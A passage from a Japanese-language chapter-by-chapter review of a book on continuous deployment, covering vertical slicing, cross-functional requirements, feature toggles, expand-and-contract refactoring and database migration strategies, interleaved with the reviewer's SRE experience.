定期的なテクニカルセッションを開催し、チーム全体の知識レベルを向上させました。これらの施策により、チームの認知的負荷を管理しつつ、継続的デプロイメントの利点を享受することができました。結論第5章「Challenges」は、継続的デプロイメントの導入に伴う様々な課題と、それらに対する具体的な対策を包括的に説明しています。技術的な課題だけでなく、組織文化や人々の働き方に与える影響についても深く掘り下げており、非常に価値のある洞察を提供しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とすることが明確になりました。特に印象的だったのは、著者が各課題に対して具体的な緩和策を提案していることです。これらの提案は、実際の開発現場で直面する問題に対する実践的なソリューションとなります。しかし、著者の提案をそのまま適用するだけでは不十分な場合もあります。例えば、規制産業における継続的デプロイメントの実践は、著者が提案する以上に複雑な場合があります。私の経験では、規制要件を満たしながら継続的デプロイメントを実現するためには、規制当局との緊密な協力と、時には規制自体の見直しを提案することも必要でした。また、チームの認知的負荷に関する議論は非常に重要ですが、この問題に対する完全な解決策は存在しないかもしれません。継続的デプロイメントの導入は、チームメンバーの専門性と柔軟性を高める機会となる一方で、常に適度な挑戦と学習の機会を提供し続ける必要があります。最後に、この章を読んで改めて感じたのは、継続的デプロイメントの導入は技術的な変革だけでなく、組織文化の変革も必要とするということです。トップマネジメントの理解と支援、チームメンバー全員の積極的な参加、そして失敗を恐れずに学習し続ける文化の醸成が、成功の鍵となります。今後の実務において、この章で学んだ課題と対策を念頭に置きつつ、各組織やプロジェクトの特性に合わせてカスタマイズしていくことが重要だと考えます。継続的デプロイメントは、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めていますが、その実現には慎重かつ戦略的なアプローチが必要です。この章の内容を踏まえ、チームと組織全体で議論を重ね、最適な導入戦略を見出していくことが、次のステップとなるでしょう。Part II. Before DevelopmentChapter 6. Slicing Upcoming Work第6章「Slicing Upcoming Work」は、継続的デプロイメントを実践する上で不可欠な、作業のスライシング(分割)に焦点を当てています。効果的な作業分割が継続的デプロイメントの成功に直結することを強調し、特に垂直スライシングの重要性を詳細に解説しています。この章を通じて、読者は作業の分割方法がソフトウェア開発プロセス全体にどのような影響を与えるかを理解し、より効率的で価値のある開発サイクルを実現するための具体的な手法を学ぶことができます。水平スライシングと垂直スライシング著者はまず、作業を分割する二つの主要な方法として、水平スライシングと垂直スライシングを比較しています。水平スライシングは技術スタックの各層(バックエンド、フロントエンド、データベースなど)に基づいて作業を分割する方法です。一方、垂直スライシングは機能や価値の単位で作業を分割し、各スライスが独立して価値を提供できるようにする方法です。Figure 6-1. Horizontal versus vertical slicing より引用Figure 6-1は、これら二つのアプローチの違いを視覚的に示しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。そのプロジェクトでは、最初は水平スライシングを採用していましたが、開発の後半になって統合の問題や予期せぬバグに悩まされました。その後、垂直スライシングに切り替えたところ、開発のペースが大幅に向上し、より頻繁にユーザーフィードバックを得られるようになりました。著者が指摘するように、垂直スライシングは継続的デプロイメントと非常に相性が良いです。各スライスが独立して価値を提供できるため、小さな単位で頻繁にデプロイすることが可能になります。これは、マイクロサービスアーキテクチャやクラウドネイティブ開発の原則とも合致しており、現代のソフトウェア開発のベストプラクティスと言えるでしょう。効果的な垂直スライシング効果的な垂直スライシングを行うための具体的な手法として、MVPの考え方やINVESTの原則を紹介しています。特に印象的だったのは、各スライスをできるだけ薄くすることの重要性です。著者は「理想的なユーザーストーリーの実装フェーズは数時間から数日で測定される」と述べていますが、これは私の経験とも一致します。Figure 6-3. Granularity of vertical slicing より引用Figure 6-3の垂直スライシングの粒度を示す図は、非常に示唆に富んでいます。私のチームでも、以前は右側の「粗い垂直スライシング」に近い状態でしたが、徐々に左側の「細かい垂直スライシング」に移行していきました。この移行により、デプロイの頻度が大幅に向上し、ユーザーフィードバックのサイクルも短縮されました。しかし、著者の主張に若干の疑問も感じました。極端に薄いスライスは、時として全体的な一貫性や統合性を損なう可能性があります。私の経験では、適度な厚さのスライスを維持しつつ、各スライスが明確な価値を提供できるようにバランスを取ることが重要でした。Groceroo社の例架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装を通じて垂直スライシングの実践を具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、著者が水平スライシングと垂直スライシングのアプローチを比較している点です。水平スライシングでは、データベース層、バックエンド層、フロントエンド層と順に実装していくアプローチが示されていますが、これらの問題点が明確に指摘されています。特に、各層の変更が本番環境で検証できないという点は、継続的デプロイメントの観点から見て大きな課題です。一方、垂直スライシングのアプローチでは、「シンプルなカルーセルの追加」「カルーセルの設定可能化」「ワンクリックでカートに追加」「異なる数量でカートに追加」という4つのユーザーストーリーに分割されています。各ストーリーが独立して価値を提供でき、かつ継続的にデプロイ可能な形になっているのが印象的です。この例を通じて、垂直スライシングが以下のような利点を持つことが明確になりました:1. 早期のユーザーフィードバック:最小限の機能から始めることで、早い段階でユーザーの反応を確認できます。2. 柔軟な優先順位付け:各スライスが独立しているため、ビジネスニーズに応じて優先順位を変更しやすくなります。3. リスクの分散:小さな単位でデプロイすることで、各変更のリスクが低減されます。4. 継続的な価値提供:各スライスが独立して価値を提供するため、開発の途中段階でも機能をリリースできます。これらの利点は、特にクラウドネイティブ環境やマイクロサービスアーキテクチャにおいて顕著です。例えば、私が以前携わったマイクロサービスプロジェクトでは、各サービスを独立して開発・デプロイできることが大きな強みとなりました。垂直スライシングのアプローチにより、各サービスの機能を小さな単位で迅速にリリースし、ユーザーフィードバックを基に迅速に改善することが可能になりました。SREの視点から見た垂直スライシング垂直スライシングは運用性、可観測性、信頼性に大きな影響を与えます。まず、運用性の面では、小さな単位でのデプロイが可能になることで、問題発生時の影響範囲を限定できます。また、ロールバックも容易になるため、システムの安定性が向上します。可観測性の面では、各スライスが独立しているため、特定の機能や変更の影響を明確に観察できます。これにより、パフォーマンスの問題や異常の検出が容易になります。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、問題が発生した場合も、原因の特定と修正が容易になります。私のSREとしての経験からも、垂直スライシングは運用の観点から非常に有効です。例えば、あるプロジェクトでは、大規模な機能リリースが度々システム全体に影響を与え、深夜の緊急対応を余儀なくされることがありました。垂直スライシングを導入した後は、各変更の影響範囲が限定的になり、問題が発生しても迅速に対応できるようになりました。結論第6章「Slicing Upcoming Work」は、継続的デプロイメントを成功させるための核心的な概念である作業のスライシングについて、深い洞察を提供しています。垂直スライシングの重要性を強調し、その実践方法を具体的な例を通じて示しています。この章から学んだ最も重要な教訓は、作業の分割方法が開発プロセス全体に大きな影響を与えるということです。適切な垂直スライシングを行うことで、継続的デプロイメントの利点を最大限に引き出し、より効率的で価値中心の開発サイクルを実現できます。しかし、垂直スライシングの実践には課題もあります。過度に細かいスライシングは、時として全体的な一貫性を損なう可能性があります。また、組織の文化や既存のプロセスとの整合性を取ることも重要です。私の経験では、垂直スライシングへの移行は段階的に行うのが効果的でした。小規模なプロジェクトや新規機能の開発から始め、徐々に組織全体に広げていくアプローチが、最も成功率が高いように思います。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。MVPの考え方を徹底し、各機能の本質的な価値に焦点を当てることが重要です。また、INVESTの原則を用いて各ユーザーストーリーの品質を評価し、フィーチャーフラグを活用してデプロイとリリースを分離することも有効です。継続的なフィードバックループを確立し、各スライスの価値を検証することも忘れてはいけません。さらに、チーム全体で垂直スライシングの重要性を共有し、文化として根付かせることが長期的な成功につながります。最後に、垂直スライシングは単なる技術的な手法ではなく、価値駆動型の開発を実現するための思考法であることを強調したいと思います。この考え方を組織全体で共有し、継続的に改善していくことが、継続的デプロイメントの実現につながるのではないでしょうか。Chapter 7. Building for Production第7章「Building for Production」は、継続的デプロイメントを実践する上で不可欠な、本番環境を見据えた開発アプローチについて深く掘り下げています。単に機能要件を満たすだけでなく、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスといった非機能要件(Cross-Functional Requirements、CFR)にも注目することの重要性を強調しています。この章を通じて、開発の初期段階からCFRを考慮に入れることが、安全で効果的な継続的デプロイメントの実現にどのようにつながるかが明確に示されています。CFRの重要性と垂直スライシングとの関係著者はまず、CFRが従来のユーザーストーリーの垂直スライシングに追加される「層」として捉えられることを説明しています。Figure 7-2は、この考え方を視覚的に表現しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。Figure 7-2. All the layers of a feature increment より引用当時、我々は機能要件にのみ焦点を当てたユーザーストーリーを作成していましたが、本番環境へのデプロイ時に多くの問題に直面しました。特に、セキュリティやパフォーマンスの問題が頻発し、それらの対応に多大な時間を費やしました。この経験から、CFRを開発の初期段階から考慮することの重要性を痛感しました。著者の主張通り、CFRを早期に検討することで、後になって大規模な修正や再設計を行う必要性を減らすことができます。これは特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。例えば、観測可能性を後付けで実装しようとすると、多くのサービスに変更を加える必要が生じ、非常に手間がかかります。このCFRの重要性を理解する上で、視覚化の役割も見逃せません。例えば、Zennに投稿された『GitHub Actionsのワークフローを可視化するactions-timelineを作った』というブログ記事は、ワークフローの可視化の重要性を示しています。zenn.devデプロイ可能性要件デプロイ可能性要件として、フィーチャートグル、Expand and Contractパターン、バージョン管理ブランチでの隠蔽など、様々な戦略を紹介しています。これらの戦略は、継続的デプロイメントを安全に行うための重要なツールです。私の経験では、フィーチャートグルの活用が特に有効でした。あるプロジェクトでは、新機能の段階的なロールアウトにフィーチャートグルを使用し、問題が発生した際に即座に機能をオフにすることで、システム全体への影響を最小限に抑えることができました。一方で、著者が指摘するように、フィーチャートグルの乱用は新たな問題を引き起こす可能性があります。私のチームでも、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。テスト可能性要件テスト可能性要件について、高レベルの自動化テストと手動の探索的テストの両方の重要性を強調しています。これは、SREの観点からも非常に重要なポイントです。私のチームでは、継続的デプロイメントの導入に伴い、テスト戦略を大幅に見直しました。特に、テストピラミッドの考え方を採用し、ユニットテスト、統合テスト、エンドツーエンドテストのバランスを適切に保つことで、テストの実行時間を短縮しつつ、高い信頼性を確保することができました。また、著者が提案するように、QA機能をチームに完全に組み込むことで、テストの質と効率が大幅に向上しました。QAエンジニアが開発の初期段階から関与することで、潜在的な問題を早期に発見し、修正コストを削減することができました。観測可能性要件観測可能性に関する著者の主張は、SREの実践と深く結びついています。ログ、メトリクス、ダッシュボード、アラートの維持と更新の重要性は、継続的デプロイメントの成功に不可欠です。私のチームでは、観測可能性を「アフターソート」ではなく、開発プロセスの不可欠な部分として位置づけました。具体的には、各ユーザーストーリーに観測可能性に関する要件を含め、新機能の開発と同時にログやメトリクスの実装を行うようにしました。特に印象的だったのは、著者が「ダッシュボードやアラートの更新を\"完了\"の定義に含める」ことを推奨している点です。これにより、観測可能性が後回しにされることなく、常に最新の状態に保たれるようになりました。セキュリティ要件とパフォーマンス要件セキュリティとパフォーマンスの要件も、開発の初期段階から考慮すべきだと主張しています。これは、継続的デプロイメントの環境下では特に重要です。セキュリティに関しては、新しいユーザー入力、データストレージ、依存関係、インフラストラクチャの変更など、様々な側面からの検討が必要です。私のチームでは、セキュリティスキャンを継続的インテグレーションパイプラインに組み込むことで、早期にセキュリティ問題を発見し、修正することができました。パフォーマンスについては、新しいネットワークリクエスト、データサイズ、永続化層への影響など、多角的な視点からの考察が重要です。例えば、あるプロジェクトでは、新機能の追加に伴うデータベースクエリの最適化を事前に検討することで、本番環境での予期せぬパフォーマンス低下を防ぐことができました。実践的なユーザーストーリーテンプレート著者が提案するユーザーストーリーテンプレートは、CFRを包括的に考慮するための実用的なツールです。このテンプレートを使用することで、機能要件だけでなく、非機能要件も含めた総合的な検討が可能になります。私のチームでも、似たようなテンプレートを採用しましたが、それによってバックログリファインメントの質が大幅に向上しました。特に、デプロイ可能性、テスト可能性、観測可能性の要件を明示的に記載することで、開発者が本番環境を常に意識しながら作業を進めるようになりました。Groceroo社の例を通じた実践的な適用架空の企業Grocerooを例に挙げ、CFRを考慮したユーザーストーリーの作成プロセスを具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、各ユーザーストーリーに対して、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスの各側面からの考察が行われている点です。これにより、開発者はより包括的な視点を持って作業を進めることができます。例えば、「Add Simple Carousel」のユーザーストーリーでは、フィーチャートグルの使用、テスト戦略の検討、新しいメトリクスの導入、セキュリティ面での考慮事項、パフォーマンスへの影響など、多角的な視点からの検討が行われています。これは、実際のプロジェクトでも非常に参考になる内容です。結論第7章「Building for Production」は、継続的デプロイメントを成功させるために、開発の初期段階からCFRを考慮することの重要性を明確に示しています。著者が提案するアプローチは、単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を秘めています。この章から学んだ最も重要な教訓は、CFRを後付けではなく、開発サイクルに組み込むことの重要性です。これにより、本番環境での問題を事前に防ぎ、より安定的で信頼性の高いシステムを構築することができます。私の経験からも、CFRを早期に検討することで多くの利点がありました。セキュリティやパフォーマンスの問題を開発の初期段階で発見し、修正することができ、結果としてリリース後のトラブルが大幅に減少しました。また、観測可能性を最初から考慮することで、本番環境での問題の診断と解決が容易になりました。一方で、著者の提案するアプローチには課題もあります。すべてのユーザーストーリーに対して包括的なCFRの検討を行うことは、時間とリソースを要する作業です。小規模なチームや短期的なプロジェクトでは、このアプローチを完全に実践することが難しい場合もあるでしょう。そのため、各組織やプロジェクトの状況に応じて、CFRの検討レベルを適切に調整することが重要です。重要度の高い機能や大規模な変更に対しては詳細なCFRの検討を行い、小規模な修正に対してはより軽量なアプローチを採用するなど、柔軟な対応が必要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。CFRを考慮することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。ユーザーストーリーテンプレートにCFRを明示的に含め、バックログリファインメントにQAやSRE担当者を積極的に参加させることが重要です。また、フィーチャートグルやExpand and Contractパターンを適切に活用し、安全なデプロイを実現することも有効です。観測可能性を開発プロセスの中核に位置づけ、常に最新の状態を維持すること、そしてセキュリティとパフォーマンスの考慮を開発の初期段階から行い、事後的な問題を最小限に抑えることも重要です。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。Part III. During DevelopmentChapter 8. Adding New Features第8章「Adding New Features」は、継続的デプロイメントの環境下で新機能を追加する具体的なプロセスと戦略について深く掘り下げています。実際のユーザーストーリーを例に挙げながら、フィーチャートグルを活用した段階的な開発とデプロイメントの方法を詳細に解説しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を持つことが明確に示されています。継続的デプロイメントにおける新機能開発の基本戦略新機能開発の基本戦略として、現状(現在のコードベース)と目標状態(実装完了後のコードベース)を明確に定義し、その間を小さな増分で埋めていく方法を提案しています。このアウトサイドインアプローチは、特に印象的でした。私の経験からも、このアプローチは非常に効果的です。以前、大規模なEコマースプラットフォームで新機能を開発した際、最初はモノリシックな実装を計画していました。しかし、著者の提案するアプローチを採用することで、開発の初期段階から実際の本番環境でフィードバックを得ることができ、結果として顧客のニーズにより適した機能を迅速に提供することができました。特に重要だと感じたのは、フィーチャートグルの活用です。著者が強調するように、フィーチャートグルは開発中の機能を隠蔽し、安全に本番環境にデプロイするための強力なツールです。しかし、その使用には注意も必要です。私のチームでは、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装プロセスを段階的に説明しています。この例は、理論を実践に落とし込む上で非常に有用です。Figure 8-1. A mockup of the “last-minute items” feature より引用Figure 8-1では、「Last-Minute Items」機能のモックアップが示されており、ユーザーが最後の買い物を促すカルーセルが表示されています。この図は、実装の目標状態を視覚的に理解するのに役立ちます。特に印象的だったのは、各デプロイメントステップの詳細な説明です。フロントエンド、バックエンド、データベース層それぞれの変更を小さな単位で行い、各ステップで本番環境での検証を行う方法を示しています。Figure 8-5. The order of implementation from providers to consumers より引用Figure 8-5は、実装の順序を提供者からコンシューマーへと示しており、段階的な実装のアプローチを視覚化しています。一方、Figure 8-6は、コンシューマーから提供者への実装順序を示しており、アウトサイドインアプローチの利点を強調しています。Figure 8-6. The order of implementation from consumers to providers より引用この方法は、私が以前携わったマイクロサービスアーキテクチャのプロジェクトでも非常に効果的でした。各サービスを独立して開発・デプロイできることが大きな強みとなり、新機能の段階的なロールアウトが可能になりました。例えば、新しい支払い方法の導入時に、まず基本的なUIをデプロイし、次にバックエンドロジック、最後にデータベーススキーマの変更を行うことで、リスクを最小限に抑えつつ迅速に機能を提供することができました。一方で、この段階的なアプローチには課題もあります。特に、フィーチャートグルの管理が複雑になる可能性があります。多数のフィーチャートグルが存在する場合、それらの状態管理や清掃が煩雑になる可能性があります。この問題に対処するため、私のチームではフィーチャートグル管理システムを導入し、各トグルのライフサイクルを明確に定義しました。これにより、不要になったトグルの迅速な削除が可能になり、コードの複雑性を抑制することができました。Figure 8-9. The finished carousel UI with test products より引用Figure 8-9は、完成したカルーセルUIをテスト商品とともに示しており、段階的な実装の最終結果を視覚化しています。この図は、開発プロセス全体を通じて達成された進歩を示しています。結論この章から学んだ最も重要な教訓は、変更を小さな単位で行い、早期かつ頻繁にフィードバックを得ることの重要性です。これにより、リスクを最小限に抑えつつ、顧客のニーズにより適した機能を迅速に提供することが可能になります。著者のアプローチは非常に強力ですが、チームの状況や開発するシステムの特性に応じて適切にカスタマイズする必要があります。継続的デプロイメントの原則を理解し、それをプロジェクトの文脈に合わせて適用することが、成功への鍵となるでしょう。今後の実務においては、フィーチャートグルの戦略的な使用と管理、アウトサイドインアプローチによる段階的な実装、各デプロイメント段階での詳細な監視と検証、そしてチーム全体でのこのアプローチの理解と実践が重要になると考えています。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。承知しました。SREの観点からの考察を全体に散らして、内容を再構成します。Chapter 9. Refactoring Live Features第9章「Refactoring Live Features」は、継続的デプロイメント環境下で既存の機能をリファクタリングする方法に焦点を当てています。ライブシステムのリファクタリングが単なるコードの整理ではなく、ビジネス継続性を維持しながら、システムの進化を実現する重要なプロセスであることを強調しています。この章を通じて、著者は継続的デプロイメントがリファクタリングにもたらす課題と、それを克服するための具体的な戦略を明確に示しています。リファクタリングの重要性と課題著者はまず、ライブシステムのリファクタリングの重要性と、それに伴う課題について説明しています。継続的デプロイメント環境では、システムは常に稼働しており、ユーザーに影響を与えることなくリファクタリングを行う必要があります。これは、システムを止めることなく船の修理をするようなものだと言えます。私の経験では、この課題は特にマイクロサービスアーキテクチャにおいて顕著です。例えば、あるEコマースプラットフォームで、決済システムのリファクタリングを行った際、サービス間の依存関係を慎重に管理しながら、段階的に変更を加えていく必要がありました。一度に大きな変更を加えるのではなく、小さな変更を積み重ねることで、リスクを最小限に抑えつつ、システムを進化させることができました。著者が強調しているのは、バックワードコンパティビリティを維持しながら、小さな変更を継続的にデプロイすることの重要性です。これは、SREの観点からも非常に重要なポイントです。システムの安定性を維持しつつ、パフォーマンスや保守性を向上させるためには、この原則を徹底する必要があります。運用性の面では、このアプローチを採用することで、リファクタリング中のシステムの安定性が向上します。各段階でのロールバックが容易になり、問題が発生した場合の影響を最小限に抑えることができます。また、可観測性の観点からは、段階的なアプローチにより、各変更の影響を明確に観察することができます。これは、問題の早期発見と迅速な対応を可能にします。Expand and Contractパターンリファクタリングを安全に行うための主要な戦略として、Expand and Contractパターン(別名Parallel Change)を紹介しています。このパターンは、新旧の実装を並行して維持し、段階的に移行していくアプローチです。Figure 9-3. A high-level view of the expand and contract pattern for replacing old product IDs より引用Figure 9-3は、このパターンを視覚的に表現しており、非常に印象的でした。このアプローチは、特に複雑なシステムのリファクタリングで効果を発揮します。例えば、私が以前携わった金融システムのデータモデル変更では、このパターンを採用することで、数ヶ月にわたるマイグレーションプロセスを、ダウンタイムなしで実現することができました。Expand and Contractパターンの本質は、変更を段階的に行い、各段階で安全性を確保することです。これは、継続的デプロイメントの原則と完全に一致しています。SREの観点からも、このアプローチは監視とロールバックの容易さを保証するため、非常に有効です。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、バックワードコンパティビリティを維持することで、システム全体の安定性が確保されます。例えば、新旧の実装を並行して運用する際、両者のパフォーマンスを比較監視することで、潜在的な問題を事前に検出できます。複数層のプロバイダとコンシューマ複数層のプロバイダとコンシューマが存在する複雑なシステムでのリファクタリング戦略について詳しく説明しています。特に、内側から外側へのアプローチ(Inside-Out)を提案しており、これは非常に興味深い視点です。Figure 9-4. The expand and contract pattern on a multilayered application より引用Figure 9-4は、このアプローチを視覚的に表現しており、複雑なシステムでのリファクタリングの全体像を把握するのに役立ちます。私の経験では、このアプローチは特にマイクロサービスアーキテクチャで有効です。例えば、あるプロジェクトでAPIのバージョンアップを行った際、データベース層から始めて、バックエンドサービス、そしてフロントエンドへと段階的に変更を加えていきました。この内側から外側へのアプローチにより、各層での変更の影響を制御し、安全にリファクタリングを進めることができました。しかし、著者の主張に若干の疑問も感じました。実際のプロジェクトでは、完全に内側から外側へと進むことが難しい場合もあります。時には、ユーザー体験の改善を先行させるため、外側から内側へのアプローチが必要になることもあります。理想的には、内側から外側へのアプローチと外側から内側へのアプローチのバランスを取ることが重要だと考えています。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、具体的なリファクタリングのプロセスを段階的に説明しています。特に、製品IDシステムの変更という複雑なリファクタリングを通じて、Expand and Contractパターンの実践を示しています。この例は、理論を実践に落とし込む上で非常に有用です。例えば、データベーススキーマの変更、APIの更新、フロントエンドの修正など、各層での変更が詳細に説明されています。私の経験から、このような段階的なアプローチは、特に大規模なシステム変更において不可欠です。しかし、実際のプロジェクトではさらに複雑な状況に直面することがあります。例えば、レガシーシステムとの統合や、複数の異なるクライアントアプリケーションのサポートなど、追加の要素を考慮する必要があります。そのため、著者のアプローチを基礎としつつ、プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。私の経験では、このアプローチを採用することで、大規模なリファクタリングプロジェクトでも高い成功率を達成できました。例えば、あるプロジェクトでデータベースの移行を行った際、段階的なアプローチと詳細な監視を組み合わせることで、99.99%の可用性を維持しながら、移行を完了することができました。結論第9章「Refactoring Live Features」は、継続的デプロイメント環境下でのリファクタリングの重要性と、その実践方法について深い洞察を提供しています。著者が提案するExpand and Contractパターンと内側から外側へのアプローチは、複雑なシステムのリファクタリングを安全に行うための強力なフレームワークとなります。この章から学んだ最も重要な教訓は、リファクタリングを小さな、管理可能な段階に分割し、各段階でシステムの安定性と後方互換性を維持することの重要性です。これにより、リスクを最小限に抑えつつ、システムを継続的に改善することが可能になります。しかし、著者のアプローチをそのまま適用するだけでは不十分な場合もあります。実際のプロジェクトでは、レガシーシステムとの統合、複数のクライアントアプリケーションのサポート、厳格な規制要件など、追加の複雑性に直面することがあります。そのため、著者のアプローチを基礎としつつ、各プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。マイクロサービスアーキテクチャにおいては、サービス間の依存関係管理がさらに重要になります。APIの変更を行う際には、コンシューマードリブンコントラクトテスト(CDCT)を導入し、各サービスの互換性を継続的に検証することで、安全なリファクタリングを実現できます。今後の実務に活かすには、いくつかの重要なポイントに注目する必要があります。リファクタリングの各段階で明確な目標を設定し、その達成を測定可能にすることが重要です。また、自動化されたテストスイートを充実させ、各変更の影響を迅速に検証することも不可欠です。詳細な監視とアラートを設定し、問題の早期発見と迅速な対応を可能にすることも重要です。さらに、チーム全体でリファクタリングの重要性と方法論を共有し、継続的な改善文化を醸成すること、そして技術的負債の管理を戦略的に行い、計画的にリファクタリングを実施することも重要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。継続的デプロイメントの原則に基づいたリファクタリングアプローチを採用することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、さらに洗練されたリファクタリング戦略を構築していくことが重要です。複雑化するシステムに対応しつつ、継続的な改善を実現することは、現代のソフトウェアエンジニアリングにおける重要な課題で、この章の内容はその挑戦に立ち向かうための貴重な指針となるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社AmazonChapter 10. Data and Data Loss第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングと、それに伴うデータ損失のリスクについて深く掘り下げています。データベースの変更が単なるスキーマの修正ではなく、システム全体の整合性と安定性に大きな影響を与える重要な操作であることを強調しています。この章を通じて、著者はデータベースの変更を安全に行うための具体的な戦略と、それらの戦略が継続的デプロイメントの文脈でどのように適用されるかを明確に示しています。データベースリファクタリングの課題著者はまず、データベースリファクタリングが継続的デプロイメント環境下で直面する主要な課題について説明しています。特に印象的だったのは、データベースの変更とアプリケーションコードの変更を同時に行うことの危険性です。Figure 10-1. Incompatibility window during simultaneous changes より引用Figure 10-1は、同時変更によるインコンパティビリティのウィンドウを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの苦い経験を思い出しました。大規模なECサイトのリニューアルプロジェクトで、データベーススキーマの変更とアプリケーションコードの更新を同時にデプロイしたことがありました。結果として、デプロイ直後の数分間、一部のユーザーがエラーページを見ることになり、売上にも影響が出てしまいました。この経験から、データベースの変更は必ず独立したデプロイメントとして扱うことの重要性を痛感しました。著者の主張通り、データベースの変更はアプリケーションコードの変更とは別のライフサイクルで管理し、バックワードコンパティビリティを常に維持する必要があります。Expand and Contractパターンの適用著者は次に、Expand and Contractパターンをデータベースリファクタリングに適用する方法について詳しく説明しています。このパターンは、新旧のスキーマを一時的に共存させることで、安全な移行を実現する戦略です。Figure 10-2. Incompatibility window during simple expand and contract より引用しかし、著者が指摘するように、単純なExpand and Contractの適用では不十分な場合があります。特に、拡張フェーズと収縮フェーズの間にデータの不整合が生じる可能性がある点は重要です。Figure 10-2は、この問題を明確に示しています。私の経験でも、このパターンを適用する際には注意が必要でした。あるマイクロサービスアーキテクチャのプロジェクトで、ユーザープロファイルのスキーマを変更する際に、単純なExpand and Contractを適用したことがありました。しかし、移行期間中に新しいユーザー登録が行われ、新旧のスキーマに不整合が生じてしまいました。この経験から、データの整合性を維持するためには、アプリケーションレベルでの追加の対策が必要だと学びました。データベーストリガーとダブルライト戦略データベーストリガーとダブルライト戦略という2つの解決策を提案しています。特にダブルライト戦略は、実践的で効果的なアプローチだと感じました。この戦略を実際のプロジェクトに適用した経験があります。大規模なSaaSプラットフォームで、顧客データのスキーマを変更する必要がありました。我々はダブルライト戦略を採用し、新旧両方のカラムにデータを書き込むようにアプリケーションを修正しました。これにより、移行期間中もデータの整合性を維持しつつ、安全にスキーマを変更することができました。しかし、この戦略にも課題はあります。特に、パフォーマンスへの影響とコードの複雑性の増加は無視できません。我々のプロジェクトでも、ダブルライトによってデータベースの書き込み負荷が増加し、一時的にレイテンシが悪化しました。これに対処するため、書き込みのバッチ処理やキャッシュの最適化など、追加の対策が必要でした。ダブルリード戦略著者が提案するもう一つの戦略であるダブルリードも、実践的なアプローチです。この戦略は、読み取り操作で新旧両方のカラムをチェックすることで、移行期間中のデータアクセスの安全性を確保します。私が以前携わった金融系システムのマイグレーションプロジェクトでは、このダブルリード戦略を採用しました。口座情報のスキーマを変更する必要がありましたが、システムの性質上、一瞬たりともデータにアクセスできない状況は許されませんでした。ダブルリード戦略により、新旧のデータを並行して読み取ることで、移行中も確実にデータにアクセスできる状態を維持できました。ただし、この戦略を採用する際は、パフォーマンスへの影響を慎重に検討する必要があります。我々のケースでは、読み取り操作が増加することによるデータベース負荷の上昇が懸念されました。これに対処するため、キャッシュ層の強化やリードレプリカの追加など、インフラストラクチャレベルでの対策も並行して行いました。NoSQLデータベースへの適用著者は最後に、これらの戦略がNoSQLデータベースにも適用可能であることを説明しています。この点は特に重要だと感じました。現代のシステム開発では、RDBMSとNoSQLを併用するケースが増えていますが、NoSQLデータベースのスキーマレスな特性がリファクタリングを簡単にするわけではありません。私自身、MongoDBを使用したプロジェクトで同様の課題に直面しました。ドキュメントの構造を変更する必要がありましたが、既存のデータも大量に存在していました。我々は「マイグレーションオンリード」という戦略を採用し、読み取り時に古い形式のドキュメントを新しい形式に変換するロジックを実装しました。同時に、新しい書き込みは全て新形式で行うようにしました。しかし、この方法にも課題がありました。特に、読み取り時の変換処理によるパフォーマンスへの影響と、アプリケーションコードの複雑化は無視できませんでした。長期的には、バックグラウンドでの一括マイグレーションジョブを実行し、徐々に全てのデータを新形式に移行していく戦略を採用しました。結論第10章「Data and Data 